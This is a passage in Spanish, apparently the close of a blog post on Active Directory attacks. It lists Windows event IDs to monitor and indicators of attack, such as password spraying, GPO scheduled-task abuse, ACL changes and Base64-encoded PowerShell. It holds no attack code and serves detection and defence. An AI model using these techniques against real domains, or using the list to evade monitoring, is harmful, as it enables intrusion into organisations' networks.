    • Modificaciones de ACLs en cuentas privilegiadas
    • Creación/modificación de ScheduledTasks en GPOs
    • Cambios de contraseña en cuentas de servicio
    • Ejecución de comandos PowerShell codificados en Base64
  • Implementar SIEM con reglas específicas para AD
  • Usar Microsoft Defender for Identity o similar
  • Habilitar auditoría avanzada de Active Directory

Indicadores de Compromiso (IOCs)

Eventos de Windows a Monitorear:

  • Event ID 4662: Operación realizada en objeto AD (ACL modificada)
  • Event ID 4670: Permisos de objeto cambiados
  • Event ID 4738: Cuenta de usuario modificada (cambio de contraseña)
  • Event ID 5136: Objeto de servicio de directorio modificado
  • Event ID 5137: Objeto de servicio de directorio creado
  • Event ID 5141: Objeto de servicio de directorio eliminado
  • Event ID 4624: Inicio de sesión exitoso (tipo 3 = red)
  • Event ID 4648: Intento de inicio de sesión con credenciales explícitas
  • Event ID 4698: Tarea programada creada
  • Event ID 4625 Inicio de sesión fallido
  • Event ID 4728/4732/4756 Cambios en grupos de seguridad

Indicadores de Ataque:

  • Múltiples autenticaciones fallidas seguidas de una exitosa (password spray)
  • Cambios en archivos .vbs en SYSVOL
  • Modificaciones de ACLs en cuentas de servicio
  • Creación de ScheduledTasks fuera de horario laboral
  • Comandos PowerShell con -enc (Base64) en logs
  • Conexiones de red inusuales desde SYSTEM
  • Cambios en GPOs fuera de ventanas de mantenimiento

Referencias

This post is licensed under CC BY 4.0 by the author.